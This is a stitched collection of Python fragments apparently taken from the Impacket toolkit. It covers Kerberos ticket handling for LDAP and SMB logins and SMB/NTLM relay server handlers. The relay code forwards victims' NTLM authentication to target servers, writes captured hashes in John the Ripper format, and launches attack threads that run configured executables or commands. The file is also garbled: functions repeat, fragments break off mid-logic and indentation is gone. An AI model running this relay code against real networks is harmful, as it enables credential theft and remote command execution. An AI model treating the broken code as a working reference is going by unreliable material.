authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# Done with the Kerberos saga, now let's get into LDAP
bindRequest = BindRequest()
bindRequest['version'] = 3
bindRequest['name'] = user
bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'
bindRequest['authentication']['sasl']['credentials'] = blob.getData()
response = self.sendReceive(bindRequest)[0]['protocolOp']
if response['bindResponse']['resultCode'] != ResultCode('success'):
raise LDAPSessionError(
errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(),
response['bindResponse']['diagnosticMessage'])
)
return True
def getKerberosType1(username,
password,
domain,
lmhash,
nthash,
aesKey='',
TGT=None,
TGS=None,
targetName='',
kdcHost=None,
useCache=True):
# Convert to binary form, just in case we're receiving strings
if isinstance(lmhash, str):
try:
lmhash = unhexlify(lmhash)
except TypeError:
pass
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
if TGT is None and TGS is None:
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception:
# No cache present
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
LOG.debug('Domain retrieved from CCache: %s' % domain)
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'host/%s@%s' % (targetName.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS(principal)
# retrieve user information from CCache file if needed
if username == '' and creds is not None:
username = creds['client'].prettyPrint().split(
b'@')[0].decode('utf-8')
LOG.debug('Username retrieved from CCache: %s' % username)
elif username == '' and len(ccache.principal.components) > 0:
username = ccache.principal.components[0]['data'].decode(
'utf-8')
LOG.debug('Username retrieved from CCache: %s' % username)
# First of all, we need to get a TGT for the user
userName = Principal(username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
if TGT is None:
if TGS is None:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, password, domain, lmhash, nthash, aesKey,
kdcHost)
except KerberosError as e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash == b'' and nthash == b'' and (
aesKey == b'' or aesKey is None
) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug(
'Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
continue
else:
raise
else:
raise
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
# Now that we have the TGT, we should ask for a TGS for cifs
if TGS is None:
serverName = Principal(
'host/%s' % targetName,
type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
serverName, domain, kdcHost, tgt, cipher, sessionKey)
except KerberosError as e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash == b'' and nthash == b'' and (
aesKey == b''
or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum'] = noValue
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
chkField[
'Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
#chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
authenticator['cksum']['checksum'] = chkField.getData()
authenticator['seq-number'] = 0
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode(
struct.pack('B', ASN1_OID) +
asn1encode(TypesMech['KRB5 - Kerberos 5']) + KRB5_AP_REQ +
encoder.encode(apReq))
return cipher, sessionKey, blob.getData()
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True):
if TGT is None and TGS is None:
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception:
# No cache present
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
LOG.debug('Domain retrieved from CCache: %s' % domain)
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'host/%s@%s' % (targetName.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS(principal)
# retrieve user information from CCache file if needed
if username == '' and creds is not None:
username = creds['client'].prettyPrint().split(b'@')[0]
LOG.debug('Username retrieved from CCache: %s' % username)
elif username == '' and len(ccache.principal.components) > 0:
username = ccache.principal.components[0]['data']
LOG.debug('Username retrieved from CCache: %s' % username)
# First of all, we need to get a TGT for the user
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
if TGT is None:
if TGS is None:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
continue
else:
raise
else:
raise
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
# Now that we have the TGT, we should ask for a TGS for cifs
if TGS is None:
serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum'] = noValue
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
#chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
authenticator['cksum']['checksum'] = chkField.getData()
authenticator['seq-number'] = 0
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(
TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq))
return cipher, sessionKey, blob.getData()
def SmbSessionSetup(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus=False)
respSMBCommand = smb3.SMB2SessionSetup_Response()
sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])
connData['Capabilities'] = sessionSetupData['Capabilities']
securityBlob = sessionSetupData['Buffer']
rawNTLM = False
if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(securityBlob)
token = blob['MechToken']
if len(blob['MechTypes'][0]) > 0:
# Is this GSSAPI NTLM or something else we don't support?
mechType = blob['MechTypes'][0]
if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
# Nope, do we know it?
if mechType in MechTypes:
mechStr = MechTypes[mechType]
else:
mechStr = hexlify(mechType)
smbServer.log("Unsupported MechType '%s'" % mechStr,
logging.CRITICAL)
# We don't know the token, we answer back again saying
# we just support NTLM.
# ToDo: Build this into a SPNEGO_NegTokenResp()
respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = respToken
return [respSMBCommand
], None, STATUS_MORE_PROCESSING_REQUIRED
elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
# AUTH packet
blob = SPNEGO_NegTokenResp(securityBlob)
token = blob['ResponseToken']
else:
# No GSSAPI stuff, raw NTLMSSP
rawNTLM = True
token = securityBlob
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = struct.unpack(
'<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
if messageType == 0x01:
# NEGOTIATE_MESSAGE
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
# Let's store it in the connection data
connData['NEGOTIATE_MESSAGE'] = negotiateMessage
#############################################################
# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
# Let's send it to the target server and send the answer back to the client.
client = connData['SMBClient']
try:
challengeMessage = self.do_ntlm_negotiate(client, token)
except Exception as e:
LOG.debug("Exception:", exc_info=True)
# Log this target as processed for this client
self.targetprocessor.logTarget(self.target)
# Raise exception again to pass it on to the SMB server
raise
#############################################################
if rawNTLM is False:
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = b'\x01'
respToken['SupportedMech'] = TypesMech[
'NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = challengeMessage.getData()
else:
respToken = challengeMessage
# Setting the packet to STATUS_MORE_PROCESSING
errorCode = STATUS_MORE_PROCESSING_REQUIRED
# Let's set up an UID for this connection and store it
# in the connection's data
connData['Uid'] = random.randint(1, 0xffffffff)
connData['CHALLENGE_MESSAGE'] = challengeMessage
elif messageType == 0x02:
# CHALLENGE_MESSAGE
raise Exception('Challenge Message raise, not implemented!')
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
#############################################################
# SMBRelay: Ok, so now the have the Auth token, let's send it
# back to the target system and hope for the best.
client = connData['SMBClient']
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
# For some attacks it is important to know the authenticated username, so we store it
self.authUser = (
'%s/%s' %
(authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))
).upper()
if rawNTLM is True:
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = securityBlob
securityBlob = respToken2.getData()
clientResponse, errorCode = self.do_ntlm_auth(
client, token, connData['CHALLENGE_MESSAGE']['challenge'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
#Log this target as processed for this client
self.targetprocessor.logTarget(self.target)
LOG.error(
"Authenticating against %s://%s as %s\\%s FAILED" %
(self.target.scheme, self.target.netloc,
authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le')))
client.killConnection()
else:
# We have a session, create a thread and do whatever we want
LOG.critical(
"Authenticating against %s://%s as %s\\%s SUCCEED" %
(self.target.scheme, self.target.netloc,
authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le')))
# Log this target as processed for this client
self.targetprocessor.logTarget(self.target, True,
self.authUser)
ntlm_hash_data = outputToJohnFormat(
connData['CHALLENGE_MESSAGE']['challenge'],
authenticateMessage['user_name'],
authenticateMessage['domain_name'],
authenticateMessage['lanman'], authenticateMessage['ntlm'])
client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'],
ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
connData['Authenticated'] = True
self.do_attack(client)
# Now continue with the server
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = b'\x00'
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = respToken.getData()
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus=False)
#############################################################
# SMBRelay
smbData = smbServer.getConnectionData('SMBRelay', False)
#############################################################
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
if connData['_dialects_parameters'][
'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
# Extended security. Here we deal with all SPNEGO stuff
respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
)
respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
'SecurityBlobLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
if struct.unpack(
'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = struct.unpack(
'<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
if messageType == 0x01:
# NEGOTIATE_MESSAGE
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
# Let's store it in the connection data
connData['NEGOTIATE_MESSAGE'] = negotiateMessage
#############################################################
# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
# Let's send it to the target server and send the answer back to the client.
client = smbData[self.target]['SMBClient']
challengeMessage = self.do_ntlm_negotiate(client, token)
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech[
'NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = str(challengeMessage)
# Setting the packet to STATUS_MORE_PROCESSING
errorCode = STATUS_MORE_PROCESSING_REQUIRED
# Let's set up an UID for this connection and store it
# in the connection's data
# Picking a fixed value
# TODO: Manage more UIDs for the same session
connData['Uid'] = 10
# Let's store it in the connection data
connData['CHALLENGE_MESSAGE'] = challengeMessage
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
#############################################################
# SMBRelay: Ok, so now the have the Auth token, let's send it
# back to the target system and hope for the best.
client = smbData[self.target]['SMBClient']
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
#For some attacks it is important to know the authenticated username, so we store it
connData['AUTHUSER'] = authenticateMessage['user_name']
self.authUser = connData['AUTHUSER']
clientResponse, errorCode = self.do_ntlm_auth(
client, sessionSetupData['SecurityBlob'],
connData['CHALLENGE_MESSAGE']['challenge'])
#clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet[
'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet[
'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
if self.target[0] == 'SMB':
client.setUid(0)
logging.error(
"Authenticating against %s as %s\%s FAILED" %
(self.target, authenticateMessage['domain_name'],
authenticateMessage['user_name']))
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],
self.target)
#del (smbData[self.target])
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
logging.info(
"Authenticating against %s as %s\%s SUCCEED" %
(self.target, authenticateMessage['domain_name'],
authenticateMessage['user_name']))
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],
self.target)
ntlm_hash_data = outputToJohnFormat(
connData['CHALLENGE_MESSAGE']['challenge'],
authenticateMessage['user_name'],
authenticateMessage['domain_name'],
authenticateMessage['lanman'],
authenticateMessage['ntlm'])
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'],
ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
del (smbData[self.target])
self.do_attack(client)
# Now continue with the server
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
# Status SUCCESS
errorCode = STATUS_SUCCESS
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters[
'SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
else:
# Process Standard Security
#TODO: Fix this for other protocols than SMB [!]
respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
respData = smb.SMBSessionSetupAndXResponse_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Data()
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
'AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
'UnicodePwdLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
#############################################################
# SMBRelay
smbClient = smbData[self.target]['SMBClient']
if sessionSetupData['Account'] != '':
#TODO: Fix this for other protocols than SMB [!]
clientResponse, errorCode = smbClient.login_standard(
sessionSetupData['Account'],
sessionSetupData['PrimaryDomain'],
sessionSetupData['AnsiPwd'],
sessionSetupData['UnicodePwd'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet[
'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet[
'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
smbClient.setUid(0)
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],
self.target)
return None, [packet], errorCode
# Now continue with the server
else:
# We have a session, create a thread and do whatever we want
ntlm_hash_data = outputToJohnFormat(
'', sessionSetupData['Account'],
sessionSetupData['PrimaryDomain'],
sessionSetupData['AnsiPwd'],
sessionSetupData['UnicodePwd'])
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'],
ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
#TODO: Fix this for other protocols than SMB [!]
clientThread = self.config.attacks['SMB'](self.config,
smbClient,
self.config.exeFile,
self.config.command)
clientThread.start()
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],
self.target)
# Remove the target server from our connection list, the work is done
del (smbData[self.target])
# Now continue with the server
#############################################################
# Do the verification here, for just now we grant access
# TODO: Manage more UIDs for the same session
errorCode = STATUS_SUCCESS
connData['Uid'] = 10
respParameters['Action'] = 0
respData['NativeOS'] = smbServer.getServerOS()
respData['NativeLanMan'] = smbServer.getServerOS()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
# From now on, the client can ask for other commands
connData['Authenticated'] = True
#############################################################
# SMBRelay
smbServer.setConnectionData('SMBRelay', smbData)
#############################################################
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
def LDAP3KerberosLogin(self,
connection,
user,
password,
domain='',
lmhash='',
nthash='',
aesKey='',
kdcHost=None,
TGT=None,
TGS=None,
useCache=True):
from pyasn1.codec.ber import encoder, decoder
from pyasn1.type.univ import noValue
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises an Exception if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2:
lmhash = '0' + lmhash
if len(nthash) % 2:
nthash = '0' + nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except TypeError:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
import datetime
if TGT is not None or TGS is not None:
useCache = False
if useCache:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception as e:
# No cache present
print(e)
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
logging.debug('Domain retrieved from CCache: %s' % domain)
logging.debug('Using Kerberos Cache: %s' %
os.getenv('KRB5CCNAME'))
principal = 'ldap/%s@%s' % (self.__target.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug('Using TGT from cache')
else:
logging.debug('No valid credentials found in cache')
else:
TGS = creds.toTGS(principal)
logging.debug('Using TGS from cache')
# retrieve user information from CCache file if needed
if user == '' and creds is not None:
user = creds['client'].prettyPrint().split(b'@')[0]
logging.debug('Username retrieved from CCache: %s' % user)
elif user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data']
logging.debug('Username retrieved from CCache: %s' % user)
# First of all, we need to get a TGT for the user
userName = Principal(
user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, password, domain, lmhash, nthash, aesKey,
kdcHost)
else:
